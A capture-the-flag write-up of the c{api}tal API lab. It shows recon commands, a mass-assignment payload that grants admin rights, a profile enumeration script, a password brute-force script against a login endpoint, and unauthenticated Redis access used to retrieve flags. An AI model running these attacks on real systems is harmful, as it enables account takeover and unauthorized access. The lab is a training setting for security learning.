Post

API Penetration Testing Writeup: c{api}tal LAB

API Penetration Testing Writeup: c{api}tal LAB

In this writeup, I’ll walk through the exploitation of the c{api}tal LAB CTF challenge, which covers multiple API security vulnerabilities including mass assignment, CORS misconfiguration, and weak authentication.

Initial Reconnaissance

Nmap Scan

1
sudo nmap -sC -sV -p- 10.183.255.149

The scan revealed several open ports:

  • 22/tcp: SSH (OpenSSH 8.9p1)
  • 80/tcp: Apache httpd 2.4.52 (User Management)
  • 111/tcp: rpcbind
  • 4100/tcp: Node.js Express framework (c{api}tal frontend)
  • 6379/tcp: Redis key-value store 7.0.3
  • 8000/tcp: Uvicorn (Python backend API)

Nikto Web Server Scan - Frontend (Port 4100)

1
nikto -h http://127.0.0.1:4100/

Key findings:

  • Missing X-Frame-Options header (clickjacking risk)
  • Missing X-Content-Type-Options header
  • CORS header: Access-Control-Allow-Origin: * (broad policy)
  • Possible WordPress installation detected

Nikto Web Server Scan - Backend (Port 8000)

1
nikto -h http://127.0.0.1:8000/

Key findings:

  • Access-Control-Allow-Origin: * (CORS misconfiguration)
  • Missing security headers (X-Frame-Options, X-Content-Type-Options)

These findings indicate potential API7:2019 (Security Misconfiguration) and API8:2019 (XSS) vulnerabilities.

Mass Assignment

Discovery

After registering and logging in through the frontend, I obtained a JWT token and tested the user update endpoint:

1
PUT http://127.0.0.1:8000/api/v2/users/login

Exploitation

By sending an additional admin property in the JSON request body:

1
2
3
4
5
{
  "user": {
    "admin": true
  }
}

The API accepted the parameter and elevated my user privileges to admin!

Response:

1
2
3
4
5
6
7
8
9
10
{
  "user": {
    "username": "user1",
    "email": "user1@example.com",
    "bio": "flag{M4sS_AsS1gnm3nt}",
    "image": null,
    "admin": true,
    "token": "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6InVzZXIxIiwiZXhwIjoxNzY1ODkxNzI3LCJzdWIiOiJhY2Nlc3MifQ.WdCH6VZ4suM_2LUyIMICinSR9Vuzjeuha6W8oKISmwE"
  }
}

Get Admin Privileges First Flag: flag{M4sS_AsS1gnm3nt}

Root Cause: The backend failed to whitelist properties when binding client-provided data to the user model.

Exploring the Application

Articles and Comments

After gaining admin access, I explored the frontend at 127.0.0.1:4100 and discovered articles with comments. I found two comments on a selected article that I attempted to delete. two comments

delete comments for delete comment this is need two things slug and commentId to delete comments

API Directory Enumeration

Using feroxbuster to discover API endpoints:

1
feroxbuster -u http://127.0.0.1:8000/api/

Discovered endpoints:

  • /api/users (405 Method Not Allowed)
  • /api/debug (405 Method Not Allowed)
  • /api/admin (403 Forbidden - now accessible with elevated privileges)
  • /api/user (403 Forbidden)
  • /api/tags (200 OK)
  • /api/membership (405 Method Not Allowed)
  • /api/logging (403 Forbidden)

With admin privileges, I was able to access the /api/admin and /api/logging endpoints. access admin page access logging

User Enumeration

User Discovery via Profiles Endpoint

The application exposed user profile information through:

1
GET /api/profiles/{username}

I identified the following users on the platform:

  • Bob_the_dev
  • Hodor
  • Pikachu
  • Ash Ketchum
  • Blastoise
  • TeamR$cket
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import requests
import urllib.parse

base_url = "http://127.0.0.1:8000/api/profiles/"
token = "add your token here"
headers = {
    "Authorization": f"Token {token}",
    "Content-Type": "application/json",
    "Accept": "application/json"
}

users = [
    "Bob_the_dev",
    "Hodor",
    "Pikachu",
    "Ash Ketchum",
    "Blastoise",
    "TeamR$cket"
]

for user in users:
    encoded_username = urllib.parse.quote(user)
    url = base_url + encoded_username
    print(f"\n===== Requesting profile: {user} =====")
    print(f"URL: {url}")

    try:
        r = requests.get(url, headers=headers)
        print("Status:", r.status_code)
        print("Response:", r.text)

    except Exception as e:
        print("Error:", e)

found credit card information

i will add this data in membership endpoit using postman found credit card information

Weak Authentication & Brute Force

Intelligence Gathering

While exploring articles, I found clues in the Pikachu user’s profile:

  • Email: Pikachu@checkmarx.com
  • Personal information: References to Pokémon favorites
1
2
3
4
My favourites pokemon!
flygon luxray garchomp gyarados absol ninetales torterra komala lurantis 
charizard gengar arcanine bulbasaur dragonite Blaziken snorlax Mudkip 
Jigglypuff ninetals squirtl

Password Brute Force Attack

The login endpoint lacked rate limiting, allowing brute force attacks. I compiled a password list from the Pokémon references and wrote a script:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import requests
import json

url = "http://127.0.0.1:8000/api/v2/users/login"
email = "Pikachu@checkmarx.com"

with open("password_api_lab.txt", "r") as f:
    passwords = f.read().splitlines()

for pwd in passwords:
    data = {
        "user": {
            "email": email,
            "password": pwd
        }
    }

    r = requests.post(url, json=data)

    if "incorrect email or password" not in r.text.lower():
        print(f"[+] FOUND PASSWORD: {pwd}")
        print("Response:", r.text)
        break
    else:
        print(f"[-] Wrong: {pwd}")

Result: Successfully cracked the Pikachu account password. Password Brute Force Attack Security Issue: Lack of rate limiting on the login endpoint allowed rapid password attempts without lockout.

API Version Discovery

Fuzzing API Versions

Using ffuf, I discovered multiple API versions:

1
ffuf -u http://127.0.0.1:8000/api/FUZZ/users/login -w versions.txt

Discovered versions:

  • /api/v1/users/login (405 Method Not Allowed)
  • /api/v2/users/login (405 Method Not Allowed)

Both versions accepted POST requests for authentication, but API versioning suggests potential legacy endpoint vulnerabilities. fuzz api version

Lack of Resource and Rate Limiting

The absence of rate limiting was evident throughout the API:

  • No attempt throttling on authentication endpoints
  • No request frequency limits
  • Enabled brute force attacks on user credentials

in this case articles limit if this = number like 10000 or over the flag show in title Resource and Rate Limiting

API Documentation Exposure

The /docs endpoint exposed comprehensive Swagger documentation at:

1
http://127.0.0.1:8000/docs

This allowed attackers to understand the full API structure and available endpoints without reverse engineering.

Debug Endpoints

Debug Endpoint Testing

Through API enumeration, I discovered a /debug endpoint. Testing with parameter injection revealed potential RCE vulnerabilities. RCE Vuln

Unprotected Redis Instance

Redis Connection

The Redis instance (port 6379) was exposed without authentication:

1
2
3
4
5
redis-cli -h 127.0.0.1 -p 6379
127.0.0.1:6379> KEYS *
1) "flag"
127.0.0.1:6379> get flag
"flag{5eC_M1sc0nF1g}"

Second Flag: flag{5eC_M1sc0nF1g}

Critical Issue: Redis server was publicly accessible with no authentication, storing sensitive flag data and potentially application sessions or cache data.

This challenge effectively demonstrated how multiple seemingly minor vulnerabilities can chain together to enable complete system compromise in API-driven applications.

This post is licensed under CC BY 4.0 by the author.